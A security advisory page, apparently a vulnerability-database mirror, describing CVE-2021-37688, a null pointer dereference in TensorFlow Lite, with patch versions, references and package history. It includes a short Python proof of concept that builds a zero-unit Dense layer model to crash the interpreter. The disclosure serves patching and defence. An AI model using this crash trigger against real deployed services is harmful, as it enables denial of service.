Null pointer dereference in TFLite
Impact
An attacker can craft a TFLite model that would trigger a null pointer dereference, which would result in a crash and denial of service:
import tensorflow as tf
model = tf.keras.models.Sequential()
model.add(tf.keras.Input(shape=(1, 2, 3)))
model.add(tf.keras.layers.Dense(0, activation='relu'))
converter = tf.lite.TFLiteConverter.from_keras_model(model)
tflite_model = converter.convert()
interpreter = tf.lite.Interpreter(model_content=tflite_model)
interpreter.allocate_tensors()
interpreter.invoke()The implementation unconditionally dereferences a pointer.
if (y4 > 1) {
// ...
} else {
for (int i0 = 0; i0 < y0; ++i0) {
const T* input2_data_ptr = nullptr;
for (int i1 = 0; i1 < y1; ++i1) {
input2_data_ptr = input2_data_reset;
for (int i2 = 0; i2 < y2; ++i2) {
scalar_broadcast_f(y3, params, *input1_data_ptr, input2_data_ptr,
output_data_ptr);
}
}
}
}Patches
We have patched the issue in GitHub commit 15691e456c7dc9bd6be203b09765b063bf4a380c.
The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Yakun Zhang of Baidu Security.
Software afectado
Haz clic en una tecnología para ver todas sus vulnerabilidades.
| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Python (PyPI) | tensorflow | < 2.3.4, >= 2.4.0, < 2.4.3, >= 2.5.0, < 2.5.1 | 2.3.4, 2.4.3, 2.5.1 |
| Python (PyPI) | tensorflow-cpu | >= 2.5.0, < 2.5.1, >= 2.4.0, < 2.4.3, < 2.3.4 | 2.5.1, 2.4.3, 2.3.4 |
| Python (PyPI) | tensorflow-gpu | < 2.3.4, >= 2.4.0, < 2.4.3, >= 2.5.0, < 2.5.1 | 2.3.4, 2.4.3, 2.5.1 |
Referencias
- https://github.com/tensorflow/tensorflow/security/advisories/GHSA-vcjj-9vg7-vf68
- https://github.com/tensorflow/tensorflow/commit/15691e456c7dc9bd6be203b09765b063bf4a380c
- https://nvd.nist.gov/vuln/detail/CVE-2021-37688
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-601.yaml
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-799.yaml
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-310.yaml
- https://github.com/tensorflow/tensorflow
- https://github.com/tensorflow/tensorflow/blob/149562d49faa709ea80df1d99fc41d005b81082a/tensorflow/lite/kernels/internal/optimized/optimized_ops.h#L268-L285
- Vector CVSS
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H- Debilidad (CWE)
CWE-476- Plataforma
- Python (PyPI)
- Paquete
tensorflow, tensorflow-cpu, tensorflow-gpu- Publicada
- 12.08.2021
- Actualizado
- 11.10.2026 15:17
Fuentes y licencias
OSV / GitHub Advisory Database - PYSEC-2021-310 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - PYSEC-2021-601 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - PYSEC-2021-799 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-vcjj-9vg7-vf68 - CC BY 4.0
Historial de vulnerabilidades: tensorflow
Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 433
- Primera → última
- 04.2019 07.2024
- Sin corrección
- 0
- Explotada en ataques
- 0
Distribución por gravedad
- Crítica 6
- Alta 112
- Media 210
- Baja 105
Divulgaciones por año
- 2019: 7
- 2020: 35
- 2021: 200
- 2022: 169
- 2023: 21
- 2024: 1
- 2025: 0
- 2026: 0
-
Null pointer dereference in TFLite esta entrada
Identifica las vulnerabilidades de tu aplicación
Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.